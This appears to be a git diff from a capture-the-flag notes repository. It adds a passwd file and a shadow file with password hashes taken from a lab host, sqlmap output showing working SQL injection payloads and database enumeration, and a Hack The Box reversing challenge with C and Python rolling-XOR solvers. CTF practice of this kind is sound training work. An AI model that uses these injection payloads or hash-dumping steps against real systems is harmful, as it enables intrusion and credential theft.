root:x:0:0:root:/root:/bin/bash
|
||||||
|
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
||||||
|
bin:x:2:2:bin:/bin:/usr/sbin/nologin
|
||||||
|
sys:x:3:3:sys:/dev:/usr/sbin/nologin
|
||||||
|
sync:x:4:65534:sync:/bin:/bin/sync
|
||||||
|
games:x:5:60:games:/usr/games:/usr/sbin/nologin
|
||||||
|
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
|
||||||
|
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
|
||||||
|
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
|
||||||
|
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
|
||||||
|
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
|
||||||
|
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
|
||||||
|
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
|
||||||
|
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
|
||||||
|
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
|
||||||
|
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
|
||||||
|
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
|
||||||
|
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
|
||||||
|
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
|
||||||
|
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
|
||||||
|
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
|
||||||
|
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
|
||||||
|
_apt:x:104:65534::/nonexistent:/bin/false
|
||||||
|
messagebus:x:105:109::/var/run/dbus:/bin/false
|
||||||
|
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
|
||||||
|
user:x:1000:1000:user,,,:/home/user:/bin/bash
|
||||||
|
mysql:x:107:111:MySQL Server,,,:/nonexistent:/bin/false
|
||||||
|
ftp:x:108:112:ftp daemon,,,:/srv/ftp:/bin/false
|
||||||
|
smmta:x:109:114:Mail Transfer Agent,,,:/var/lib/sendmail:/bin/false
|
||||||
|
smmsp:x:110:115:Mail Submission Program,,,:/var/lib/sendmail:/bin/false
|
||||||
|
baldur:x:1001:1001::/home/baldur:
|
||||||
31
2026/usd_hackertag/freya/shadow
Normal file
31
2026/usd_hackertag/freya/shadow
Normal file
@@ -0,0 +1,31 @@
|
|||||||
|
root:$6$mbIzpNIo$XElePqDmVNcUEhdU0nH1eQYvRvU1xQqQOM3F38Zceslqiz0tYTc1iAMxFXTt9TKlXsslPvLoLuMlE/n83iNce/:20579:0:99999:7:::
|
||||||
|
daemon:*:17569:0:99999:7:::
|
||||||
|
bin:*:17569:0:99999:7:::
|
||||||
|
sys:*:17569:0:99999:7:::
|
||||||
|
sync:*:17569:0:99999:7:::
|
||||||
|
games:*:17569:0:99999:7:::
|
||||||
|
man:*:17569:0:99999:7:::
|
||||||
|
lp:*:17569:0:99999:7:::
|
||||||
|
mail:*:17569:0:99999:7:::
|
||||||
|
news:*:17569:0:99999:7:::
|
||||||
|
uucp:*:17569:0:99999:7:::
|
||||||
|
proxy:*:17569:0:99999:7:::
|
||||||
|
www-data:*:17569:0:99999:7:::
|
||||||
|
backup:*:17569:0:99999:7:::
|
||||||
|
list:*:17569:0:99999:7:::
|
||||||
|
irc:*:17569:0:99999:7:::
|
||||||
|
gnats:*:17569:0:99999:7:::
|
||||||
|
nobody:*:17569:0:99999:7:::
|
||||||
|
systemd-timesync:*:17569:0:99999:7:::
|
||||||
|
systemd-network:*:17569:0:99999:7:::
|
||||||
|
systemd-resolve:*:17569:0:99999:7:::
|
||||||
|
systemd-bus-proxy:*:17569:0:99999:7:::
|
||||||
|
_apt:*:17569:0:99999:7:::
|
||||||
|
messagebus:*:17569:0:99999:7:::
|
||||||
|
sshd:*:17569:0:99999:7:::
|
||||||
|
user:$6$RGsJnnEH$mma2lPBOwYMp.3JZ/8dhUW4LZ6Mxee2d52wUiQyxMNOXjzUY5PG.SvfmkriTdHgn5WX7OsBo2AOiPCEEMtTN1.:17569:0:99999:7:::
|
||||||
|
mysql:!:20579:0:99999:7:::
|
||||||
|
ftp:*:20579:0:99999:7:::
|
||||||
|
smmta:*:20579:0:99999:7:::
|
||||||
|
smmsp:*:20579:0:99999:7:::
|
||||||
|
baldur:$6$/ScR4vLK$8XCAkPccvTAycL8fOxZagyk.vy54EqmdTcZQWQI.gzcygN6C5Iy35bMI65TZliwP6acrGpnhRBZKFrexoNGtu/:20579:0:99999:7:::
|
||||||
37
2026/usd_hackertag/maxwell/notes.md
Normal file
37
2026/usd_hackertag/maxwell/notes.md
Normal file
@@ -0,0 +1,37 @@
|
|||||||
|
### sqlmap output
|
||||||
|
|
||||||
|
sqlmap identified the following injection point(s) with a total of 5599 HTTP(s) requests:
|
||||||
|
---
|
||||||
|
Parameter: product (GET)
|
||||||
|
Type: boolean-based blind
|
||||||
|
Title: OR boolean-based blind - WHERE or HAVING clause
|
||||||
|
Payload: product=-1399" OR 7840=7840-- CtiK
|
||||||
|
|
||||||
|
Type: time-based blind
|
||||||
|
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
|
||||||
|
Payload: product=AUFB" AND (SELECT 9500 FROM (SELECT(SLEEP(5)))IiPL)-- CEjp
|
||||||
|
|
||||||
|
Type: UNION query
|
||||||
|
Title: Generic UNION query (NULL) - 2 columns
|
||||||
|
Payload: product=AUFB" UNION ALL SELECT NULL,CONCAT(0x716a626271,0x586a4443534a6c465264737464587149507541587a587945725a56796552544f5078416478545242,0x71717a7171)-- -
|
||||||
|
---
|
||||||
|
do you want to exploit this SQL injection? [Y/n] Y
|
||||||
|
[17:26:46] [INFO] the back-end DBMS is MySQL
|
||||||
|
web server operating system: Linux Debian 9 (stretch)
|
||||||
|
web application technology: Apache 2.4.25
|
||||||
|
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
|
||||||
|
[17:26:46] [INFO] you can find results of scanning in multiple targets mode inside the CSV file '/home/cato/.local/share/sqlmap/output/results-05082026_0524pm.csv'
|
||||||
|
|
||||||
|
available databases [4]:
|
||||||
|
[*] information_schema
|
||||||
|
[*] maindb
|
||||||
|
[*] mysql
|
||||||
|
[*] performance_schema
|
||||||
|
|
||||||
|
Database: maindb
|
||||||
|
[1 table]
|
||||||
|
+----------+
|
||||||
|
| products |
|
||||||
|
+----------+
|
||||||
|
|
||||||
|
current user: 'root@localhost'
|
||||||
1
training/htb/challenges/rev/encrypted_data.txt
Normal file
1
training/htb/challenges/rev/encrypted_data.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
09071148207302682C6762023E367D1A1E351F072A1D3C0B712562577E30133B71072E
|
||||||
BIN
training/htb/challenges/rev/ircware
Normal file
BIN
training/htb/challenges/rev/ircware
Normal file
Binary file not shown.
BIN
training/htb/challenges/rev/ircware.i64
Normal file
BIN
training/htb/challenges/rev/ircware.i64
Normal file
Binary file not shown.
BIN
training/htb/challenges/rev/solve
Executable file
BIN
training/htb/challenges/rev/solve
Executable file
Binary file not shown.
42
training/htb/challenges/rev/solve.c
Normal file
42
training/htb/challenges/rev/solve.c
Normal file
@@ -0,0 +1,42 @@
|
|||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
char rolling_xor(char *key, char* encrypted_data)
|
||||||
|
{
|
||||||
|
char* v0 = key;
|
||||||
|
int v1 = 0;
|
||||||
|
char *i = encrypted_data;
|
||||||
|
char result;
|
||||||
|
|
||||||
|
for ( ; *i; ++i )
|
||||||
|
{
|
||||||
|
result = *v0;
|
||||||
|
*i ^= *v0++;
|
||||||
|
if ( ++v1 == 8 )
|
||||||
|
{
|
||||||
|
v0 = key;
|
||||||
|
v1 = 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(){
|
||||||
|
char encrypted_data[] =
|
||||||
|
{
|
||||||
|
0x09, 0x07, 0x11, 0x48, 0x20, 0x73, 0x02, 0x68, 0x2C, 0x67,
|
||||||
|
0x62, 0x02, 0x3E, 0x36, 0x7D, 0x1A, 0x1E, 0x35, 0x1F, 0x07,
|
||||||
|
0x2A, 0x1D, 0x3C, 0x0B, 0x71, 0x25, 0x62, 0x57, 0x7E, 0x30,
|
||||||
|
0x13, 0x3B, 0x71, 0x07, 0x2E, 0x00
|
||||||
|
};
|
||||||
|
|
||||||
|
char key[] =
|
||||||
|
{
|
||||||
|
0x52, 0x4A, 0x4A, 0x33, 0x44, 0x53, 0x43, 0x50, 0x00
|
||||||
|
};
|
||||||
|
|
||||||
|
|
||||||
|
rolling_xor(key, encrypted_data);
|
||||||
|
|
||||||
|
printf("decrypted: %s\n", encrypted_data);
|
||||||
|
|
||||||
|
}
|
||||||
25
training/htb/challenges/rev/solve.py
Normal file
25
training/htb/challenges/rev/solve.py
Normal file
@@ -0,0 +1,25 @@
|
|||||||
|
from pwn import xor
|
||||||
|
|
||||||
|
with open("./encrypted_data.txt", "r") as f:
|
||||||
|
data = f.readline()
|
||||||
|
|
||||||
|
key = bytes.fromhex("524A4A3344534350")
|
||||||
|
|
||||||
|
print(len(key))
|
||||||
|
|
||||||
|
dec_key = []
|
||||||
|
|
||||||
|
for s in key:
|
||||||
|
s -= 17
|
||||||
|
if s < ord('A'):
|
||||||
|
s += 26
|
||||||
|
dec_key.append(s)
|
||||||
|
|
||||||
|
dec_key[3] = b"3"[0]
|
||||||
|
|
||||||
|
print("".join(chr(c) for c in dec_key))
|
||||||
|
|
||||||
|
data = bytes.fromhex(data)
|
||||||
|
|
||||||
|
print(xor(data, dec_key))
|
||||||
|
|
||||||
Reference in New Issue
Block a user